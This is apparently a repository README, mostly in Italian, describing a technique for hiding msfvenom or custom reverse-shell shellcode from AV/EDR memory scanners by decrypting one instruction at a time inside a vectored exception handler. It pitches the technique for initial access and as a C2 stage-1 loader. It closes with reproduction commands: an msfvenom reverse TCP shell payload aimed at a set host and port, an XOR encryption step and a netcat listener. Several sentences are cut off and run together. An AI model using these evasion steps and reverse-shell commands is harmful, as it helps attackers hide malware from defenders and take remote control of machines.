
A technique that can be used to bypass AV/EDR memory scanners. This can be used to hide well-known and detected shellcodes (such as msfvenom) by performing on-the-fly decryption of individual encrypted assembly instructions, thus rendering memory scanners useless for that specific memory page.
Una tecnica che può essere utilizzata per bypassare gli scanner di memoria AV/EDR. Può essere usata per nascondere shellcode noti e rilevati (come msfvenom) eseguendo decrittazione al volo di singole istruzioni assembly crittografate, rendendo così inutili gli scanner di memoria per quella specifica pagina di memoria.
Questa tecnica crea una regione di memoria PAGE_EXECUTE_READWRITE in cui verranno memorizzate le istruzioni assembly crittografate. Lo shellcode sarà avvolto in un po' di padding. Il programma imposterà un Hardware Breakpoint (HWBP) sull'entrypoint dello shellcode.
Successivamente, il programma installerà un Vectored Exception Handler (VEH). Questo VEH agirà fondamentalmente come un debugger, eseguendo il codice passo-passo, leggendo il registro instruction pointer (RIP) per ogni eccezione SINGLE STEP ricevuta dal VEH e decrittando i successivi 16 byte (lunghezza massima di un'istruzione assembly x64) a cui punta RIP. Il VEH crittografa anche nuovamente l'istruzione precedentemente decrittata, assicurando che il resto dello shellcode rimanga sempre crittografato, ad eccezione della singola istruzione assembly attualmente in esecuzione. Dopodiché, continua l'esecuzione, con il TRAP FLAG configurato nel registro Eflags. Questo garantisce che anche la successiva istruzione assembly inneschi un'eccezione di breakpoint gestibile dal VEH.
Dopo l'installazione del VEH, l'esecuzione del thread principale verrà reindirizzata all'entrypoint del payload. Quando l'HWBP verrà innescato all'entrypoint, il VEH si fermerà su ogni istruzione assembly eseguita, decritterà la successiva istruzione assembly e crittograferà la precedente istruzione decrittata, salvata come variabile globale.
In questo modo, fondamentalmente una singola istruzione assembly viene decrittata alla volta, mentre il resto del payload rimane crittografato.
NOTA: Questa tecnica è ideale per ottenere un accesso iniziale utilizzando uno shellcode di base come msfvenom o reverse shell personalizzate. Può anche essere usata come payload iniziale di stage 1 che scarica il resto del payload dal server C2.
NOTA: Questa tecnica non è compatibile con tutti i payload (come i reflective loader). Di seguito è riportato un elenco delle limitazioni attuali:
VEH scatterà per OGNI ISTRUZIONE ASSEMBLY eseguita nello shellcode, la velocità di esecuzione dello shellcode verrà drasticamente ridotta. Per ogni istruzione assembly eseguita dalla CPU, il VEH eseguirà almeno altre 300 istruzioni ASM per effettuare la decrittazione, la crittografia e il ripristino dell'esecuzione del thread principale. Se lo shellcode è ottimizzato per una dimensione ridotta piuttosto che per le prestazioni (come msfvenom), l'esecuzione del payload sarà più lenta. Può richiedere oltre 15 secondi (a seconda della CPU) per eseguire un MSFVENOM. Questo accade perché lo specifico shellcode usato da msfvenom sacrifica le prestazioni per ottenere una dimensione del payload inferiore.NtCreateThread o uno qualsiasi dei suoi wrapper in Kernelbase.dll con l'entrypoint all'interno dello shellcode, il payload non funzionerà poiché il VEH non scatterà per l'esecuzione di quel thread, non essendoci nessun HWBP installato all'entrypoint del thread appena creato. (Lavori in corso - verrà implementato ulteriormente in questo repo)valori/variabili al suo interno (ad esempio, la stringa grezza "powershell.exe" referenziata tramite un offset in una chiamata a WinExec WINAPI) o alcuni numeri salvati a un offset, e lo shellcode tenterà successivamente di caricarli o referenziarli da qualche parte, il programma non funzionerà poiché quella specifica variabile o stringa e il VEH non la decritta. Se lo shellcode inserisce tali argomenti nello stack tramite istruzioni assembly ( per inserire "AAAAAAAA" nello stack da usare in una chiamata a una funzione), questa tecnica funzionerà. (Lavori in corso - verrà implementato ulteriormente in questo repo)Come riprodurre il POC:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.33 LPORT=443 -f raw > shell.asm
./XorEncryptPayload.exe C:\Path\to\shell.asm
nc -nvlp 443

Questo repository è a scopo accademico, l'uso di questo software è di tua responsabilità.
verrà crittografatapush 0x4141414141414141